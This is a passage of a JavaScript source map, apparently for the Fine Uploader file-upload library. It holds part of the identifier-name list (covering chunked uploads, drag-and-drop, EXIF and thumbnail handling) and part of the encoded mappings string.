maining","reverse","paused","totalChunks","parts","newBlob","chunkId","_createXhr","optChunkIdx","_registerXhr","chunkIndex","fileSize","startBytes","endBytes","part","count","startByte","endByte","_getLocalStorageId","formatVersion","_getMimeType","_getPersistableData","ceil","_markNotResumable","localStorageId","removeItem","persistedData","lastUpdated","_registerProgressHandler","progressCalculator","totalSuccessfullyLoadedForFile","loadedForRequest","totalForRequest","estActualChunkLoaded","totalLoadedForFile","chunkLoaded","optAjaxRequester","xhrsId","expirationDays","expirationDate","setDate","getDate","getMandatedParams","_method","requester","detectSubsampling","img","ctx","iw","naturalWidth","ih","naturalHeight","width","getContext","drawImage","getImageData","detectVerticalSquash","alpha","ratio","sy","ey","py","renderImageToDataURL","doSquash","renderImageToCanvas","maybeCalculateDownsampledDimensions","maxPixels","origHeight","origWidth","newHeight","sqrt","newWidth","modifiedDimensions","save","resize","renderImageToCanvasWithCustomResizer","imageHeight","imageWidth","orientation","targetHeight","targetWidth","transformCoordinate","tmpCtx","sx","dx","d","tmpCanvas","vertSquashRatio","dw","dh","dy","clearRect","restore","qqImageRendered","resizeInfo","sourceCanvas","sourceCanvasContext","targetCanvas","translate","rotate","PI","MegaPixImage","srcImage","errorCallback","Image","URL","createObjectURL","webkitURL","src","listeners","imageLoadListeners","render","opt","imgWidth","imgHeight","optionsKey","optionsValue","oldTargetSrc","onrender","isImg","el","isCanvas","isImgCorsSupported","crossOrigin","isCanvasSupported","determineMimeOfFileName","nameWithPath","pathSegments","isCrossOrigin","targetProtocol","targetHostname","targetPort","targetAnchor","href","protocol","port","hostname","location","registerImgLoadListeners","registerCanvasDrawImageListener","registerThumbnailRenderedListener","registered","draw","drawPreview","Identify","megapixErrorHandler","isPreviewable","dummyExif","exif","Exif","mpImg","Orientation","failureMsg","drawOnCanvasOrImgFromUrl","canvasOrImg","tempImg","tempImgRender","drawOnImgFromUrlWithCssScaling","drawFromUrl","fileBlobOrUrl","_testing","parseLittleEndian","hex","pow","seekToApp1","offset","theOffset","thePromise","segmentLength","getApp1Offset","isLittleEndian","app1Start","getDirEntryCount","littleEndian","getIfd","dirEntries","getDirEntries","ifdHex","getTagValues","TAG_VAL_OFFSET","tagsToFind","TAG_IDS","vals","tagValHex","tagValLength","idHex","tagsToFindIdx","TAG_INFO","274","parser","onParseFailure","app1Offset","dirEntryCount","tagValues","isIdentifiable","magicBytes","questionableBytes","identifiable","magicBytesEntries","magicBytesArrayEntry","previewable","isPreviewableSync","PREVIEWABLE_MIME_TYPES","fileMime","isRecognizedImage","image/jpeg","image/gif","image/png","image/bmp","image/tiff","hasNonZeroLimits","limits","atLeastOne","limit","getWidthHeight","sizeDetermination","getFailingLimit","dimensions","failingLimit","limitName","limitValue","limitMatcher","dimensionPropName","actualValue","validationEffort","isJsonResponseValid","handleFileItems","fileItems","someItemsIgnored","err","refreshEffort","refreshCompleteCallback","requesterOptions","SessionAjaxRequester","queryServer","responseText","includeOriginal","failedToScaleText","_getSortedSizes","getFileRecords","originalFileUuid","originalFileName","originalBlobOrBlobData","records","originalBlob","sizeRecord","outputType","_determineOutputType","requestedType","refType","_getName","_generateScaledImage","failedText","api","scaledIds","originalId","record","blobSize","scaledId","qqparentuuid","qqparentsize","param","scalingEffort","scalingOptions","scaler","referenceType","scaledVersionProperties","startOfExt","versionType","scaledName","scaledExt","nameAppendage","sort","a","b","sourceFile","imageGenerator","scaledImageDataUri","signalSuccess","_insertExifHeader","scaledImageDataUriWithExif","originalImage","reader","insertionEffort","originalImageDataUri","ExifRestorer","readAsDataURL","_dataUriToBlob","_createBlob","KEY_STR","encode64","chr1","chr2","enc1","enc2","enc3","output","chr3","enc4","isNaN","origFileBase64","resizedFileBase64","expectedBase64Header","rawImage","decode64","segments","slice2Segments","exifManipulation","exifArray","getExifArray","newImageArray","insertExif","aBuffer","seg","x","imageData","buf","separatePoint","mae","ato","array","rawImageArray","head","endPoint","base64test","perFileProgress","totalLoaded","totalSize","lastLoadedSent","lastTotalSent","callbackProxy","noRetryableFiles","retryable","none","failedId","updateTotalProgress","onNew","newLoaded","newTotal","oldLoaded","oldTotal","isImage","registerPasteHandler","detachPasteHandler","clipboardData","getAsFile","unregisterPasteHandler","startUpload","determineNewEndpoint","formEl","validateForm","nativeSubmit","checkValidity","maybeUploadOnSubmit","submit","determineFormEl","_form2Obj","notIrrelevantType","irrelevantTypes","radioOrCheckbox","ignoreValue","checked","selectValue","select","selected","elements","getIframeContentJson","doc","innerHtml","contentWindow","nodeValue","createForm","responseFromMessage","multipart","addChunkingSpecificParams","allChunksDoneRequester","AllChunksDoneAjaxRequester","createReadyStateChangedHandler","onUploadOrChunkComplete","getChunksCompleteParams","isErrorUploadResponse","parseResponse","sendChunksCompleteRequest","complete","setParamsAndGetEntityToSend","setUploadHeaders","extraHeaders","toSend","promises","endpointHandler","DragAndDrop","uploadDroppedFiles","uploadDropZone","filesAsArray","dropLog","dropDisabled","processingDroppedFilesComplete","getElement","traverseFileTree","parseEntryPromise","fullPath","indexOfNameInFullPath","qqPath","droppedFiles","fileError","isDirectory","getFilesInDirectory","entriesLeft","accumEntries","existingPromise","dirReader","createReader","readEntries","newEntries","handleDataTransfer","pendingFolderPromises","handleDataTransferPromise","processingDroppedFiles","allowMultipleItems","dropError","setupDropzone","dropArea","dropZone","UploadDropZone","HIDE_ZONES_EVENT_NAME","onEnter","dropActive","stopPropagation","onLeaveNotDescendants","onDrop","HIDE_BEFORE_ENTER_ATTR","uploadDropZones","isFileDrag","dragEvent","fileDrag","types","leavingDocumentOut","relatedTarget","y","setupDragDrop","dropZones","dropZoneElements","maybeHideDropZones","HTMLElement","setupExtraDropzone","removeDropzone","dzs","targetEl","errorSpecifics","dragoverShouldBeCanceled","disableDropOutside","dropOutsideDisabled","dropEffect","isValidFileDrag","effectTest","dt","isSafari","effectAllowed","isOrSetDropDisabled","isDisabled","preventDrop","triggerHidezonesEvent","triggerUsingOldApi","hideZonesEvent","createEvent","initEvent","CustomEvent","dispatchEvent","attachEvents","effect","elementFromPoint","clientX","clientY","uiPublicApi","_parent","_templating","addCacheToDom","clearFiles","addExtraDropzone","_dnd","removeExtraDropzone","getItemByFileId","isHiddenForever","getFileContainer","_setupDragAndDrop","_totalFilesInBatch","_filesInBatchAddedToUi","_setupClickAndEditEventHandlers","formattedFilename","updateFilename","uploadPaused","continued","uploadContinued","getId","fileContainerOrChildEl","getFileId","getDropTarget","qqDropTarget","uiPrivateApi","_removeFileItem","removeFile","_fileButtonsClickHandler","FileButtonsClickHandler","_bindFileButtonsClickEvent","_focusinEventSupported","_isEditFilenameEnabled","_filenameClickHandler","_bindFilenameClickEvent","_filenameInputFocusInHandler","_bindFilenameInputFocusInEvent","_filenameInputFocusHandler","_bindFilenameInputFocusEvent","dragAndDrop","extraDropzones","templating","defaultDropZone","getDropZone","showDropProcessing","hideDropProcessing","errorData","lvl","onDeleteFile","onRetry","onPause","onContinue","onGetName","isEditFilenamePossible","FilenameClickHandler","FilenameInputFocusHandler","_filenameEditHandler","onGetUploadStatus","onSetName","onEditingStatusChange","isEditing","qqInput","getEditInput","qqFileContainer","hideFilename","hideEditIcon","showFilename","showEditIcon","markFilenameEditable","hideRetry","setStatusText","_classes","retrying","hidePause","FilenameInputFocusInHandler","hideSpinner","resetTotalProgress","reportDirectoryPaths","qqpath","_addToList","addHandler","updateProgress","hideCancel","hideProgress","waitingForResponse","_displayFileSize","completeUpload","_markFileAsSuccessful","fail","showCancel","isRetryPossible","showRetry","_controlFailureTextDisplay","parentRetVal","newResult","showDeleteButton","_maybeUpdateThumbnail","showSpinner","allowPause","retryNumForDisplay","maxAuto","retryNote","_showCancelLink","showAutoRetryNote","autoRetryNote","resetProgress","_onSubmitDeleteSuccess","forceConfirm","_showDeleteConfirm","_sendDeleteRequest","deletingFailedText","hideDeleteButton","deletingStatusText","confirmMessage","deleteRequestArgs","showConfirm","canned","prependData","prependIndex","dontDisplay","hideScaled","prependFiles","disableCancel","_handledProxyGroup","_clearList","addFileToCache","updateThumbnail","thumbnails","generatePreview","fileSizeOnSubmit","loadedSize","sizeForDisplay","_formatProgress","uploadedSize","formatProgress","mode","responseProperty","failureReason","failedUploadTextDisplay","failUpload","enableTooltip","_showTooltip","showMessage","_setupPastePrompt","namePromptMessage","defaultVal","showPrompt","fileStatus","placeholders","waitUntilResponse","FineUploader","listElement","template","editable","tooManyFilesError","unsupportedBrowser","promptForName","maxCount","notAvailablePath","waitingPath","timeBetweenThumbs","hasDialog","showDialog","confirm","defaultValue","prompt","Templating","templateIdOrEl","containerEl","fileContainerEl","maxThumbs","waitUntilUpdate","thumbnailNotAvailable","waitingForThumbnail","renderFailure","isEditElementsExist","isRetryElementExist","templateHtml","showThumbnails","serverScale","FILE_ID_ATTR","FILE_CLASS_PREFIX","THUMBNAIL_MAX_SIZE_ATTR","THUMBNAIL_SERVER_SCALE_ATTR","HIDE_DROPZONE_ATTR","DROPZPONE_TEXT_ATTR","IN_PROGRESS_CLASS","HIDDEN_FOREVER_CLASS","fileBatch","content","createDocumentFragment","map","isCancelDisabled","generatedThumbnails","thumbnailQueueMonitorRunning","thumbGenerationQueue","thumbnailMaxSize","selectorClasses","alertDialog","dialogCancelButton","confirmDialog","dialogMessage","dialogOkButton","promptDialog","uploader","drop","list","progressBarContainer","totalProgressBarContainer","totalProgressBar","spinner","continueButton","deleteButton","statusText","editFilenameInput","editNameIcon","dropText","dropProcessing","dropProcessingSpinner","thumbnail","previewGeneration","cachedThumbnailNotAvailableImg","cachedWaitingForThumbnailImg","cacheThumbnailPlaceholders","notAvailableUrl","waitingUrl","updatedImg","displayWaitingImg","waitingImgPlacement","maybeScalePlaceholderViaCss","show","generateNewPreview","getThumbnail","qqThumbnailId","maybeSetDisplayNotAvailableImg","generateNextQueuedPreview","queuedThumbRequest","update","processUpdateQueuedPreviewRequest","processNewQueuedPreviewRequest","getCancel","getTemplateEl","getContinue","getDialog","getDelete","getDropProcessing","getEditIcon","getPause","getProgress","getRetry","getSpinner","cssClass","previewing","notAvailableImgPlacement","parseAndGetTemplate","scriptEl","scriptHtml","fileListNode","tempTemplateEl","fileListHtml","defaultButton","dropTextEl","uploaderEl","fileTemplate","prependFile","parentEl","beforeEl","optFileOrBlob","relatedThumbnailId","useCachedPreview","showWaitingImg","setProgressBarWidth","percent","bar","progressBarSelector","targetThumbnailId","cachedThumbnailId","targetThumbnail","cachedThumbnail","hideTotalProgress","cantRenderEl","prependInfo","hideForever","batch","thumb","fileEl","fileNameEl","waitingImg","currentNode","getFileList","filenameEl","isFileName","icon","isEditIcon","isEditInput","isCancel","allowContinueButton","isPause","isContinueButton","isDeleteButton","isRetry","textEl","dialog","messageEl","inputEl","cancelBtn","okBtn","closeHandler","cancelClickHandler","okClickHandler","close","showModal","UiEventHandler","s","protectedApi","eventType","srcElement","onHandled","attachTo","getFileIdFromItem","qqFileId","getDisposeSupport","examineEvent","buttonHandlers","buttonType","firstLetterCapButtonType","inheritedInternalApi","handleFilenameEdit","FilenameEditHandler","handleInputFocus","getFilenameSansExtension","filenameSansExt","getOriginalExtension","origName","handleNameUpdate","newFilenameInputEl","origExtension","registerInputBlurHandler","registerInputEnterKeyHandler","keyCode","which","focusInput","focus"],"mappings":"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